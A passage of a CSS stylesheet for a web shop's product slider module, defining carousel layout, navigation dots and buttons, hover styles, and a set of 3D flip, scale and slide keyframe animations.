transform-origin:0 50%;

-webkit-animation:rotateOutLeft 0.6s forwards;

animation:rotateOutLeft 0.6s forwards

}

.tt-effect-3dflip.tt-effect-active .item .item-wrap:nth-child(2), .tt-effect-3dflip.tt-effect-active .item.tt-empty .item-wrap {

opacity:0;

-webkit-transform-origin:100% 50%;

transform-origin:100% 50%;

-webkit-animation:rotateInRight 0.6s ease-in forwards;

animation:rotateInRight 0.6s ease-in forwards

}

.tt-effect-bringback .item {

	-webkit-perspective:1000px;

	perspective:1000px

}

.tt-effect-bringback .item .item-wrap {

	-webkit-transform-style:preserve-3d;

	transform-style:preserve-3d;

	-webkit-backface-visibility:hidden;

	backface-visibility:hidden

}

.tt-effect-bringback.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

-webkit-animation:hideLeft 0.8s forwards;

animation:hideLeft 0.8s forwards

}

.tt-effect-bringback.tt-effect-active .item .item-wrap:nth-child(2) {

z-index:-1;

-webkit-animation:showRight 0.8s forwards;

animation:showRight 0.8s forwards

}

.tt-effect-bringback.tt-effect-active .item:not(.tt-empty) .item-wrap:only-child {

-webkit-animation:hideLeft 0.8s forwards;

animation:hideLeft 0.8s forwards

}

.tt-effect-bringback.tt-effect-active .item.tt-empty .item-wrap {

	opacity:0;

	-webkit-animation:fadeIn 0.8s forwards;

	animation:fadeIn 0.8s forwards

}

.tt-effect-superscale.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

-webkit-animation:scaleDown 0.6s ease-in-out forwards;

-o-animation:scaleDown 0.6s ease-in-out forwards;

animation:scaleDown 0.6s ease-in-out forwards

}

.tt-effect-superscale.tt-effect-active .item .item-wrap:nth-child(2), .tt-effect-superscale.tt-effect-active .item.tt-empty .item-wrap {

opacity:0;

-webkit-animation:scaleIn 0.6s ease-in-out forwards;

animation:scaleIn 0.6s ease-in-out forwards

}

.tt-effect-flip .item {

	-webkit-perspective:1500px;

	perspective:1500px

}

.tt-effect-flip .item .item-wrap {

	-webkit-transform-style:preserve-3d;

	transform-style:preserve-3d;

	-webkit-backface-visibility:hidden;

	backface-visibility:hidden

}

.tt-effect-flip.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

-webkit-animation:flipOut 0.8s ease-in forwards;

animation:flipOut 0.8s ease-in forwards

}

.tt-effect-flip.tt-effect-active .item .item-wrap:nth-child(2), .tt-effect-flip.tt-effect-active .item.tt-empty .item-wrap {

opacity:0;

-webkit-animation:flipIn 0.8s ease-in forwards;

animation:flipIn 0.8s ease-in forwards

}

.tt-effect-frontrow .item {

	overflow:hidden

}

.tt-effect-frontrow.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

-webkit-animation:moveToBack 0.8s forwards;

animation:moveToBack 0.8s forwards

}

.tt-effect-frontrow.tt-effect-active .item .item-wrap:nth-child(2), .tt-effect-frontrow.tt-effect-active .item.tt-empty .item-wrap {

-webkit-animation:moveToFront 0.8s forwards;

animation:moveToFront 0.8s forwards

}

.tt-effect-frontrow.tt-effect-active .item.tt-empty .item-wrap {

	opacity:0

}

.tt-effect-frontrow.tt-effect-active .item:not(.tt-empty) .item-wrap:only-child {

-webkit-animation:moveToFront 0.5s forwards;

animation:moveToFront 0.5s forwards

}

.sp-deal .tt-effect-delay.tt-effect-active .item:nth-child(2) .item-wrap {

-webkit-animation-delay:0.1s;

animation-delay:0.1s

}

.sp-deal .tt-effect-delay.tt-effect-active .item:nth-child(3) .item-wrap {

-webkit-animation-delay:0.2s;

animation-delay:0.2s

}

.sp-deal .tt-effect-delay.tt-effect-active .item:nth-child(4) .item-wrap {

-webkit-animation-delay:0.3s;

animation-delay:0.3s

}

.sp-deal .tt-effect-delay.tt-effect-active .item:nth-child(5) .item-wrap {

-webkit-animation-delay:0.4s;

animation-delay:0.4s

}

.sp-deal .tt-effect-delay.tt-effect-active .item:nth-child(6) .item-wrap {

-webkit-animation-delay:0.5s;

animation-delay:0.5s

}

.sp-deal .tt-effect-delay-reversed.tt-effect-active .item:nth-child(5) .item-wrap {

-webkit-animation-delay:0.1s;

animation-delay:0.1s

}

.sp-deal .tt-effect-delay-reversed.tt-effect-active .item:nth-child(4) .item-wrap {

-webkit-animation-delay:0.2s;

animation-delay:0.2s

}

.sp-deal .tt-effect-delay-reversed.tt-effect-active .item:nth-child(3) .item-wrap {

-webkit-animation-delay:0.3s;

animation-delay:0.3s

}

.sp-deal .tt-effect-delay-reversed.tt-effect-active .item:nth-child(2) .item-wrap {

-webkit-animation-delay:0.4s;

animation-delay:0.4s

}

.sp-deal .tt-effect-delay-reversed.tt-effect-active .item:nth-child(1) .item-wrap {

-webkit-animation-delay:0.5s;

animation-delay:0.5s

}

@-webkit-keyframes fallDown {

to {

opacity:0;

-webkit-transform:translateY(70%)

}

}

@keyframes fallDown {

to {

opacity:0;

transform:translateY(70%)

}

}

@-webkit-keyframes scaleUpFadeIn {

from {

opacity:0;

-webkit-transform:scale(0.8)

}

to {

	visibility:visible;

	opacity:1;

	-webkit-transform:scale(1)

}

}

@keyframes scaleUpFadeIn {

from {

opacity:0;

transform:scale(0.8)

}

to {

	visibility:visible;

	opacity:1;

	transform:scale(1)

}

}

@-webkit-keyframes slideOut {

from {

width:100%

}

to {

	width:0

}

}

@keyframes slideOut {

from {

width:100%

}

to {

	width:0

}

}

@-webkit-keyframes fadeOut {

from {

opacity:1

}

to {

	opacity:0

}

}

@keyframes fadeOut {

from {

opacity:1

}

to {

	opacity:0

}

}

@-webkit-keyframes fadeIn {

from {

opacity:0

}

to {

	opacity:1

}

}

@keyframes fadeIn {

from {

opacity:0

}

to {

	opacity:1

}

}

@-webkit-keyframes fallRotate {

0% {

-webkit-transform:translateY(0%) rotate(0deg);

-webkit-animation-timing-function:ease-in

}

40% {

-webkit-transform:translateY(0%) rotate(20deg);

-webkit-animation-timing-function:ease-out

}

60% {

-webkit-transform:translateY(0%) rotate(15deg);

opacity:1

}

100% {

-webkit-transform:translateY(150%) rotate(17deg);

opacity:0

}

}

@keyframes fallRotate {

0% {

transform:translateY(0%) rotate(0deg);

animation-timing-function:ease-in

}

40% {

transform:translateY(0%) rotate(20deg);

animation-timing-function:ease-out

}

60% {

transform:translateY(0%) rotate(15deg);

opacity:1

}

100% {

transform:translateY(150%) rotate(17deg);

opacity:0

}

}

@-webkit-keyframes scaleRotateOut {

100% {

opacity:0;

-webkit-transform:scale(0)

}

}

@keyframes scaleRotateOut {

100% {

opacity:0;

transform:scale(0)

}

}

@-webkit-keyframes scaleRotateIn {

0% {

opacity:0;

-webkit-transform:translateX(50%) translateY(100%) rotate(25deg)

}

100% {

visibility:visible;

opacity:1;

-webkit-transform:translateX(0%) translateY(0%) rotate(0deg)

}

}

@keyframes scaleRotateIn {

0% {

opacity:0;

transform:translateX(50%) translateY(100%) rotate(25deg)

}

100% {

visibility:visible;

opacity:1;

transform:translateX(0%) translateY(0%) rotate(0deg)

}

}

@-webkit-keyframes moveLeft {

50% {

opacity:1;

-webkit-transform:translateX(-100%) rotateY(35deg) rotateX(10deg)

}

100% {

opacity:1;

-webkit-transform:translateX(0%) rotateY(0deg) rotateX(0deg)

}

}

@keyframes moveLeft {

50% {

opacity:1;

transform:translateX(-100%) rotateY(35deg) rotateX(10deg)

}

100% {

opacity:1;

transform:translateX(0%) rotateY(0deg) rotateX(0deg)

}

}

@-webkit-keyframes popUp {

0% {

-webkit-transform:translateZ(-200px)

}

50% {

z-index:-1

}

51% {

z-index:1

}

70% {

z-index:1;

visibility:visible;

-webkit-transform:translateZ(50px);

-webkit-animation-timing-function:ease-out

}

100% {

z-index:1;

visibility:visible;

-webkit-transform:translateZ(0px)

}

}

@keyframes popUp {

0% {

transform:translateZ(-200px)

}

50% {

z-index:-1

}

51% {

z-index:1

}

70% {

z-index:1;

visibility:visible;

transform:translateZ(50px);

animation-timing-function:ease-out

}

100% {

z-index:1;

visibility:visible;

transform:translateZ(0px)

}

}

@-webkit-keyframes rotateOutLeft {

100% {

opacity:0;

-webkit-transform:rotateY(90deg)

}

}

@keyframes rotateOutLeft {

100% {

opacity:0;

transform:rotateY(90deg)

}

}

@-webkit-keyframes rotateInRight {

0% {

opacity:0;

-webkit-transform:rotateY(-90deg)

}

100% {

visibility:visible;

opacity:1;

-webkit-transform:rotateY(0deg)

}

}

@keyframes rotateInRight {

0% {

opacity:0;

transform:rotateY(-90deg)

}

100% {

visibility:visible;

opacity:1;

transform:rotateY(0deg)

}

}

@-webkit-keyframes hideLeft {

0% {

-webkit-transform:translateZ(0px)

}

40% {

-webkit-transform:translate(-40%, 0) scale(0.8) rotateY(20deg)

}

100% {

opacity:1;

-webkit-transform:translateZ(-400px)

}

}

@keyframes hideLeft {

0% {

transform:translateZ(0px)

}

40% {

transform:translate(-40%, 0) scale(0.8) rotateY(20deg)

}

100% {

transform:translateZ(-400px)

}

}

@-webkit-keyframes showRight {

0% {

-webkit-transform:translateZ(-400px)

}

40% {

z-index:-1;

-webkit-transform:translate(40%, 0) scale(0.8) rotateY(-20deg)

}

41% {

z-index:1

}

100% {

z-index:1;

visibility:visible;

-webkit-transform:translateZ(0px)

}

}

@keyframes showRight {

0% {

transform:translateZ(-400px)

}

40% {

z-index:-1;

transform:translate(40%, 0) scale(0.8) rotateY(-20deg)

}

41% {

z-index:1

}

100% {

z-index:1;

visibility:visible;

transform:translateZ(0px)

}

}

@-webkit-keyframes scaleDown {

100% {

opacity:0;

-webkit-transform:scale(0)

}

}

@keyframes scaleDown {

100% {

opacity:0;

transform:scale(0)

}

}

@-webkit-keyframes scaleIn {

0% {

opacity:0;

-webkit-transform:scale(1.2)

}

100% {

visibility:visible;

opacity:1;

-webkit-transform:scale(1)

}

}

@keyframes scaleIn {

0% {

opacity:0;

transform:scale(1.2)

}

100% {

visibility:visible;

opacity:1;

transform:scale(1)

}

}

@-webkit-keyframes flipOut {

50% {

opacity:0;

-webkit-transform:rotateY(90deg)

}

100% {

opacity:0;

-webkit-transform:rotateY(90deg)

}

}

@keyframes flipOut {

50% {

opacity:0;

transform:rotateY(90deg)

}

100% {

opacity:0;

transform:rotateY(90deg)

}

}

@-webkit-keyframes flipIn {

0% {

opacity:0;

-webkit-transform:rotateY(-90deg)

}

50% {

opacity:0;

-webkit-transform:rotateY(-90deg)

}

75% {

visibility:visible;

opacity:1;

-webkit-transform:rotateY(15deg);

-webkit-animation-timing-function:ease-in

}

100% {

visibility:visible;

opacity:1;

-webkit-transform:rotateY(0deg)

}

}

@keyframes flipIn {

0% {

opacity:0;

transform:rotateY(-90deg)

}

50% {

opacity:0;

transform:rotateY(-90deg)

}

75% {

visibility:visible;

opacity:1;

transform:rotateY(15deg);

animation-timing-function:ease-in

}

100% {

visibility:visible;

opacity:1;

transform:rotateY(0deg)

}

}

@-webkit-keyframes moveToBack {

100% {

-webkit-transform:translateX(-60%) scale(.8)

}

}

@keyframes moveToBack {

100% {

transform:translateX(-60%) scale(.8)

}

}

@-webkit-keyframes moveToBack {

100% {

-webkit-transform:translateX(-60%) scale(.8)

}

}

@-webkit-keyframes moveToFront {

0% {

-webkit-transform:translateX(100%) scale(.8)

}

100% {

visibility:visible;

opacity:1;

-webkit-transform:translateX(0%) scale(1)

}

}

@keyframes moveToFront {

0% {

transform:translateX(100%) scale(.8)

}

100% {

visibility:visible;

opacity:1;

transform:translateX(0%) scale(1)

}

}

.bestseller {

	display:inline-block;

	width:100%;

	margin-bottom:34px;

	padding-left:18px;

	padding-right:18px;

	border:1px solid #ddd;

	position:relative

}

.bestseller .module-title {

	position:relative;

	border-bottom:3px solid;

	margin:-5px -19px 0 -19px

}

.postext-spextraslider {

	margin-top:10px

}

.pretext-spextraslider {

	margin-bottom:10px

}

.sp-extraslider {

	margin:20px 0 0

}

.sp-extraslider a {

	text-decoration:none

}

.sp-extraslider.preload {

	height:250px;

	overflow:hidden;

	position:relative

}

.sp-extraslider .extra-loading {

	background:url("../images/loading.gif") no-repeat scroll center center transparent;

	height:250px;

	width:100%

}

.sp-extraslider.preload .heading-title, .sp-extraslider.preload .owl-controls, .sp-extraslider.preload .owl-controls, .sp-extraslider.preload .extraslider-inner {

	display:none !important

}

.sp-extraslider .pre-text, .sp-extraslider .post-text {

	margin:10px 0

}

.sp-extraslider .heading-title {

	text-transform:uppercase;

	font-weight:bold;

	float:left;

	margin-bottom:10px

}

.sp-extraslider .extraslider-inner {

	position:relative;

	overflow:hidden;

	width:100%

}

.sp-extraslider .item {

	position:relative;

	display:block

}

.sp-extraslider .owl-item {

	float:left

}

.sp-extraslider .extraslider-inner .item-wrap {

	padding:0 0 11px 0;

	border-bottom:1px solid #ddd;

	margin-bottom:11px;

	display:inline-block;

	width:100%

}

.sp-extraslider .extraslider-inner .item-wrap:last-child {

	border-bottom:0;

	padding-bottom:0;

	margin-bottom:0

}

.sp-extraslider .extraslider-inner .item-wrap .item-info, .sp-extraslider .extraslider-inner .item-wrap .item-info .item-content {

	overflow:hidden

}

.sp-extraslider .extraslider-inner .item-wrap.style2 .item-info {

	background:#333333;

	color:#FFF;

	position:relative

}

.sp-extraslider .extraslider-inner .item-wrap-inner {

	margin:8px 5px 0 5px;

	padding:0 1px;

	position:relative;

	overflow:hidden

}

.sp-extraslider .extraslider-inner .item-wrap-inner a.new-box {

	left:-4px;

	z-index:2

}

.sp-extraslider .extraslider-inner .item-wrap-inner a.sale-box {

	right:-4px;

	z-index:2

}

.sp-extraslider .extraslider-inner .item-wrap.last {

	margin-right:0;

	padding-right:0

}

.sp-extraslider .extraslider-inner {

	clear:both

}

.sp-extraslider .extraslider-inner .item-wrap img {

	border:none;

	box-shadow:#000 0 0 0

}

.sp-extraslider .extraslider-inner .item-wrap img:hover {

	box-shadow:#000 0 0 0

}

.sp-extraslider .item .item-wrap .item-description {

	margin-bottom:0

}

.sp-extraslider .item .item-wrap .item-prices {

	padding:0;

	margin-bottom:10px

}

.sp-extraslider .item .item-wrap .item-prices .item-price {

	color:#FF0000;

	font-weight:bold;

	font-family:Georgia;

	margin-right:3px

}

.sp-extraslider .item .item-wrap .item-per-unit {

	color:white

}

.sp-extraslider .item .item-wrap .item-tags {

	margin-bottom:5px

}

.sp-extraslider .item .item-wrap .item-votes {

	padding-left:10px

}

.sp-extraslider .item .item-wrap.style3 .item-votes .hikashop_total_vote {

	color:#FFF

}

.sp-extraslider .item .item-wrap.style5 .item-votes .hikashop_total_vote {

	color:#FFF

}

.sp-extraslider .item .item-wrap.style6 .item-votes .hikashop_total_vote {

	color:#FFF

}

.sp-extraslider .item .item-wrap.style7 .item-votes .hikashop_total_vote {

	color:#FFF

}

.sp-extraslider .item .item-wrap.style4 .item-prices .item-per-unit {

	color:#000000

}

.sp-extraslider .item .item-wrap .item-btn-add {

	margin-bottom:5px

}

.sp-extraslider .item .item-wrap .item-btn-add form {

	margin:0

}

.sp-extraslider .item .item-wrap .item-btn-add .hikashop_add_to_cart {

	display:inline-block;

	margin:5px 5px 5px 0

}

.sp-extraslider .item .item-wrap .item-btn-add .hikashop_add_wishlist {

	display:inline-block;

	margin:5px 5px 5px 0

}

.sp-extraslider .item .item-wrap .item-readmore {

	margin-top:10px

}

.sp-extraslider .item .item-wrap .item-related {

	text-align:left;

	color:#FFF

}

.sp-extraslider .item .item-wrap .item-related h4 {

	margin:5px 0;

	color:#FFF

}

.sp-extraslider .item .item-wrap .item-related ul {

	text-align:left;

	margin:0 10px 0 13px;

	color:#FFF

}

.sp-extraslider .item .item-wrap .item-tags span {

	color:#FFFFFF

}

.sp-extraslider .item .item-wrap .item-tags .tags span a {

	display:inline-block

}

.sp-extraslider .item .item-wrap .item-readmore {

	text-align:right

}

.sp-extraslider .owl-controls .nav-page {

	list-style:none;

	margin:0;

	float:left;

	padding-left:0

}

.sp-extraslider .owl-controls .nav-page .page {

	float:left;

	background:none;

	padding:0;

	outline:none

}

.sp-extraslider .extraslider-inner .owl-wrapper-outer {

	overflow:hidden;

	position:relative;

	width:100%

}

.sp-extraslider .extraslider-inner .owl-wrapper {

	-webkit-backface-visibility:hidden;

	-moz-backface-visibility:hidden;

	-ms-backface-visibility:hidden;

	-webkit-transform:translate3d(0, 0, 0);

	-moz-transform:translate3d(0, 0, 0);

	-ms-transform:translate3d(0, 0, 0);

	position:relative

}

.sp-extraslider .extraslider-inner .owl-wrapper:after {

	content:".";

	display:block;

	clear:both;

	visibility:hidden;

	line-height:0;

	height:0

}

.sp-extraslider .owl-controls {

	margin-bottom:8px;

	text-align:right;

	position:absolute;

	top:0;

	right:5px;

	vertical-align:middle

}

.sp-extraslider .owl-controls .owl-controls {

	float:left;

	margin:0

}

.sp-extraslider .owl-controls .owl-prev, .sp-extraslider .owl-controls .owl-next {

	width:17px;

	height:30px;

	text-align:center;

	display:inline-block;

	line-height:30px;

	font-size:0;

	cursor:pointer;

	color:#999999

}

.sp-extraslider .owl-controls .owl-prev:before {

	content:"\f104";

	font-family:FontAwesome;

	font-size:28px

}

.sp-extraslider .owl-controls .owl-next:before {

	content:"\f105";

	font-family:FontAwesome;

	font-size:28px

}

.sp-extraslider .owl-controls .owl-dots .owl-dot {

	display:none;

	zoom:1

}

.sp-extraslider .owl-dots .owl-dot {

	display:block;

	width:12px;

	height:12px;

	margin:4px;

	filter:Alpha(Opacity=50);

	opacity:0.5;

	-webkit-border-radius:20px;

	-moz-border-radius:20px;

	border-radius:20px;

	background:#797575;

	cursor:pointer;

	vertical-align:middle

}

.sp-extraslider .owl-dots .owl-dot:hover {

	filter:Alpha(Opacity=100);

	opacity:1;

	background:#77f9f1

}

.sp-extraslider.button-type2 .owl-controls {

	width:100%

}

.sp-extraslider.button-type2 .owl-nav {

	float:right;

	text-align:right;

	margin-bottom:8px

}

.sp-extraslider.button-type1 .owl-dots {

	display:none !important

}

.sp-extraslider.button-type2 .owl-dots {

	text-align:center;

	margin-top:10px;

	display:block

}

.sp-extraslider .owl-dots .owl-dot.active {

	filter:Alpha(Opacity=100);

	opacity:1;

	background:#77f9f1

}

.sp-extraslider .owl-dots .owl-dot:focus, .sp-extraslider .owl-nav .owl-prev:focus, .sp-extraslider .owl-nav .owl-next:focus {

	outline:none

}

.sp-extraslider.button-type2 .owl-dots {

	text-align:center;

	margin-top:10px;

	display:block

}

.sp-extraslider.button-type2 .owl-prev, .sp-extraslider.button-type2 .owl-next {

	background:none repeat scroll 0 0 #797575;

	border-radius:50%;

	color:#FFF;

	cursor:pointer;

	float:left;

	font-family:Arial;

	font-size:20px;

	font-weight:600;

	height:20px;

	line-height:18px;

	margin:0 0 0 4px;

	opacity:0.5;

	outline:medium none;

	text-align:center;

	vertical-align:middle;

	width:20px;

	-webkit-border-radius:50%;

	-moz-border-radius:50%;

	border-radius:50%

}

.sp-extraslider .owl-controls .owl-prev:hover, .sp-extraslider .owl-controls .owl-next:hover {

	filter:Alpha(Opacity=100);

	opacity:1

}

@media all and (max-width:479px) {

.sp-extraslider .extraslider-inner .item-wrap .item-image .quick-view-wrapper-mobile {

display:block

}

.sp-extraslider.preset04-6 .extraslider-inner .item-wrap.style1 .item-info {

max-height:200px

}

}

@media all and (min-width:480px) and (max-width:767px) {

.sp-extraslider .extraslider-inner .item-wrap .item-image .quick-view-wrapper-mobile {

display:block

}

.sp-extraslider.preset03-6 .extraslider-inner .item-wrap.style1 .item-info {

max-height:200px

}

}

@media all and (min-width:768px) and (max-width:1199px) {

.sp-extraslider .extraslider-inner .item-wrap .item-image .quick-view-wrapper-mobile {

display:none

}

.sp-extraslider.preset02-6 .extraslider-inner .item-wrap.style1 .item-info {

max-height:200px

}

#index .center_column {
    margin-top: 0 !important;
}
.left-algn {
    width: 88% !important;
}

}

@media all and (min-width:1200px) {

.sp-extraslider .extraslider-inner .item-wrap .item-image .quick-view-wrapper-mobile {

display:none

}

.sp-extraslider.preset01-6 .extraslider-inner .item-wrap.style1 .item-info {

max-height:200px

}

}

.sp-extraslider .extraslider-inner .item-wrap {

	overflow:hidden

}

.sp-extraslider .extraslider-inner .item-wrap .item-image {

	float:left;

	position:relative;

	overflow:hidden;

	width:84px;

	height:84px

}

.sp-extraslider .extraslider-inner .item-wrap .item-image:hover {

	opacity:0.8

}

.sp-extraslider .extraslider-inner .item-wrap .item-image .item-img-info a.quick-view {

	display:none

}

.sp-extraslider .extraslider-inner .item-wrap .item-image:hover .item-img-info a.quick-view {

	display:block;

	text-align:center;

	background:none repeat scroll 0 0 rgba(255, 255, 255, 0.82);

	box-shadow:0 2px 8px rgba(0, 0, 0, 0.16);

	color:#777676;

	font:700 13px/16px Arial, Helvetica, sans-serif;

	height:43px;

	left:50%;

	margin:-21px 0 0 -53px;

	padding:13px 0 0;

	position:absolute;

	top:50%;

	width:107px;

	text-decoration:none

}

.sp-extraslider .extraslider-inner .item-wrap .item-image .quick-view-wrapper-mobile {

	background-color:transparent;

	bottom:0;

	height:155px;

	overflow:hidden;

	position:absolute;

	right:0;

	width:215px;

	z-index:2

}

.sp-extraslider .extraslider-inner .item-wrap .item-image .quick-view-wrapper-mobile a {

	background-color:rgba(208, 208, 211, 0.57);

	display:block;

	height:130px;

	pointer-events:all;

	position:relative;

	right:-162px;

	top:80px;

	transform:rotate(45deg);

	width:85px

}

.sp-extraslider .extraslider-inner .item-wrap .item-image .quick-view-wrapper-mobile a:hover {

	background-color:rgba(125, 125, 125, 0.57)

}

.sp-extraslider .extraslider-inner .item-wrap .item-image .quick-view-wrapper-mobile a i {

	bottom:0;

	color:black;

	display:inline-block;

	font-size:x-large;

	height:22px;

	left:9px;

	overflow:hidden;

	position:absolute;

	right:10px;

	top:46px;

	transform:rotate(-44deg);

	width:30px;

	z-index:2

}

.sp-extraslider .wishlist {

	margin:10px 0

}

.sp-extraslider .compare {

	margin-bottom:10px

}

.sp-extraslider .extraslider-inner .item-wrap .item-image img {

	border:0;

	box-shadow:none

}

.sp-extraslider .extraslider-inner .item-wrap.style2 .item-info {

	background:#333

}

.sp-extraslider .extraslider-inner .item-wrap .item-info .item-content .button-container {

	margin-top:5px

}

.sp-extraslider .extraslider-inner .item-wrap .item-info .item-content .content_price {

	margin-bottom:10px

}

.sp-extraslider .extraslider-inner .item-wrap .item-info .item-content .button-container .lnk_view span {

	color:#000

}

.sp-extraslider .extraslider-inner .item-wrap .item-info .item-title a {

	text-transform:capitalize;

	font-size:14px

}

.sp-extraslider .extraslider-inner .item-wrap.style3 .item-info .item-content .item-des p, .sp-extraslider .extraslider-inner .item-wrap.style5 .item-info .item-content .item-des p, .sp-extraslider .extraslider-inner .item-wrap.style6 .item-info .item-content .item-des p, .sp-extraslider .extraslider-inner .item-wrap.style7 .item-info .item-content .item-des p {

	color:#fff;

	margin-top:5px

}

.sp-extraslider .extraslider-inner .item-wrap.style4 .item-info .item-content .item-des {

	margin-top:10px;

	color:#000

}

.sp-extraslider .extraslider-inner .item-wrap.style4 .item-info a {

	color:#000

}

.sp-extraslider .extraslider-inner .item-wrap.style4 .item-info .item-content .ajax_add_to_cart_button span {

	color:#fff

}

.sp-extraslider .extraslider-inner .item-wrap.style4 .item-info .item-content .content_price span {

	color:#000

}

.sp-extraslider .extraslider-inner .item-wrap.style4 .item-info .item-content .wishlist, .sp-extraslider .extraslider-inner .item-wrap.style4 .item-info .item-content .compare {

	color:#000

}

.sp-extraslider .extraslider-inner .item-wrap.style2 .item-info .item-content {

	margin-bottom:10px

}

.sp-extraslider .extraslider-inner .item-wrap.style1 .item-info .item-title {

	padding:5px 0;

	margin-bottom:0

}

.sp-extraslider .extraslider-inner .item-wrap.style1 .item-info .item-title a {

	font-weight:normal

}

.sp-extraslider .extraslider-inner .item-wrap.style1 .item-info .item-title a:hover {

	text-decoration:none

}

.sp-extraslider .extraslider-inner .item-wrap.style1 .item-info .item-title + .item-content, .sp-extraslider .extraslider-inner .item-wrap.style2 .item-info .item-title + .item-content {

	margin-top:0

}

.sp-extraslider .extraslider-inner .item-wrap .item-info .item-description {

	color:#fff

}

.sp-extraslider .extraslider-inner .item-wrap .item-info .item-readmore {

	text-align:right

}

.sp-extraslider .extraslider-inner .item-wrap.style3 {

	position:relative

}

.sp-extraslider .extraslider-inner .item-wrap.style3 img {

	-webkit-transition:all 0.2s ease-in;

	-moz-transition:all 0.2s ease-in;

	-o-transition:all 0.2s ease-in;

	-ms-transition:all 0.2s ease-in;

	transition:all 0.2s ease-in;

	box-shadow:#000 0 0 0

}

.sp-extraslider .extraslider-inner .item-wrap.style3 .item-info {

	position:absolute;

	top:0;

	height:100%;

	text-align:center;

	padding:0;

	background:url(../images/background.png) repeat;

	-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";

	filter:alpha(opacity=0);

	opacity:0;

	-webkit-transform:translate(460px, -100px) rotate(180deg);

	-moz-transform:translate(460px, -100px) rotate(180deg);

	-o-transform:translate(460px, -100px) rotate(180deg);

	-ms-transform:translate(460px, -100px) rotate(180deg);

	transform:translate(460px, -100px) rotate(180deg);

	-webkit-transition:all 0.2s 0.4s ease-in-out;

	-moz-transition:all 0.2s 0.4s ease-in-out;

	-o-transition:all 0.2s 0.4s ease-in-out;

	-ms-transition:all 0.2s 0.4s ease-in-out;

	transition:all 0.2s 0.4s ease-in-out;

	box-shadow:#000 0 0 0

}

.sp-extraslider .extraslider-inner .item-wrap.style3 .item-title {

	-webkit-transform:translateY(-100px);

	-moz-transform:translateY(-100px);

	-o-transform:translateY(-100px);

	-ms-transform:translateY(-100px);

	transform:translateY(-100px);

	-webkit-transition:all 0.2s ease-in-out;

	-moz-transition:all 0.2s ease-in-out;

	-o-transition:all 0.2s ease-in-out;

	-ms-transition:all 0.2s ease-in-out;

	transition:all 0.2s ease-in-out;

	padding:6px;

	background:url(../images/background.png) repeat;

	margin:5% 0 0 0;

	text-transform:uppercase;

	box-shadow:#000 0 0 0

}

.sp-extraslider .extraslider-inner .item-wrap.style3 .item-readmore a, .sp-extraslider .extraslider-inner .item-wrap.style3 .item-title a {

	color:#FFF

}

.sp-extraslider .item .item-wrap.style3 .item-related, .sp-extraslider .extraslider-inner .item-wrap.style3 .item-description {

	-webkit-transform:translateX(300px) rotate(90deg);

	-moz-transform:translateX(300px) rotate(90deg);

	-o-transform:translateX(300px) rotate(90deg);

	-ms-transform:translateX(300px) rotate(90deg);

	transform:translateX(300px) rotate(90deg);

	-webkit-transition:all 0.2s ease-in-out;

	-moz-transition:all 0.2s ease-in-out;

	-o-transition:all 0.2s ease-in-out;

	-ms-transition:all 0.2s ease-in-out;

	transition:all 0.2s ease-in-out;

	text-align:left;

	box-shadow:#000 0 0 0

}

.sp-extraslider .extraslider-inner .item-wrap.style3 .item-price {

	text-align:center

}

.sp-extraslider .extraslider-inner .item-wrap.style3:hover .item-info {

	filter:alpha(opacity=100);

	opacity:1;

	-webkit-transition-delay:0s;

	-moz-transition-delay:0s;

	-o-transition-delay:0s;

	-ms-transition-delay:0s;

	transition-delay:0s;

	-webkit-transform:translate(0px, 0px);

	-moz-transform:translate(0px, 0px);

	-o-transform:translate(0px, 0px);

	-ms-transform:translate(0px, 0px);

	transform:translate(0px, 0px);

	box-shadow:#000 0 0 0

}

.sp-extraslider .extraslider-inner .item-wrap.style3:hover .item-title {

	-webkit-transform:translateY(0px);

	-moz-transform:translateY(0px);

	-o-transform:translateY(0px);

	-ms-transform:translateY(0px);

	transform:translateY(0px);

	-webkit-transition-delay:0.5s;

	-moz-transition-delay:0.5s;

	-o-transition-delay:0.5s;

	-ms-transition-delay:0.5s;

	transition-delay:0.5s;

	box-shadow:#000 0 0 0

}

.sp-extraslider .extraslider-inner .item-wrap.style3:hover .item-related, .sp-extraslider .extraslider-inner .item-wrap.style3:hover .item-description {

	-webkit-transform:translateX(0px) rotate(0deg);

	-moz-transform:translateX(0px) rotate(0deg);

	-o-transform:translateX(0px) rotate(0deg);

	-ms-transform:translateX(0px) rotate(0deg);

	transform:translateX(0px) rotate(0deg);

	-webkit-transition-delay:0.4s;

	-moz-transition-delay:0.4s;

	-o-transition-delay:0.4s;

	-ms-transition-delay:0.4s;

	transition-delay:0.4s;

	box-shadow:#000 0 0 0

}

.sp-extraslider .extraslider-inner .item-wrap.style3:hover .item-price, .sp-extraslider .extraslider-inner .item-wrap.style3:hover .item-readmore {

	-webkit-transform:translateY(0px);

	-moz-transform:translateY(0px);

	-o-transform:translateY(0px);

	-ms-transform:translateY(0px);

	transform:translateY(0px);

	-webkit-transition-delay:0.3s;

	-moz-transition-delay:0.3s;

	-o-transition-delay:0.3s;

	-ms-transition-delay:0.3s;

	transition-delay:0.3s;

	box-shadow:#000 0 0 0

}

.sp-extraslider .extraslider-inner .item-wrap.style3 .item-readmore {

	display:inline-block;

	text-decoration:none;

	padding:3px 10px;

	background:#000;

	-webkit-box-shadow:0 0 1px #000;

	-moz-box-shadow:0 0 1px #000;

	box-shadow:0 0 1px #000;

	-webkit-transform:translateY(-200px);

	-moz-transform:translateY(-200px);

	-o-transform:translateY(-200px);

	-ms-transform:translateY(-200px);

	transform:translateY(-200px);

	-webkit-transition:all 0.2s ease-in-out;

	-moz-transition:all 0.2s ease-in-out;

	-o-transition:all 0.2s ease-in-out;

	-ms-transition:all 0.2s ease-in-out;

	transition:all 0.2s ease-in-out

}

.sp-extraslider .extraslider-inner .item-wrap.style4 {

	position:relative

}

.sp-extraslider .extraslider-inner .item-wrap.style4 .item-info {

	position:absolute;

	top:0;

	left:0;

	height:100%;

	text-align:center;

	padding:0;

	background:url(../images/bg-white.png);

	top:-100%;

	-webkit-transition:all 0.3s ease-out 0.5s;

	-moz-transition:all 0.3s ease-out 0.5s;

	-o-transition:all 0.3s ease-out 0.5s;

	-ms-transition:all 0.3s ease-out 0.5s;

	transition:all 0.3s ease-out 0.5s

}

.sp-extraslider .extraslider-inner .item-wrap.style4 .item-title {

	background:#333;

	color:#FFFFFF;

	font-size:17px;

	padding:7px;

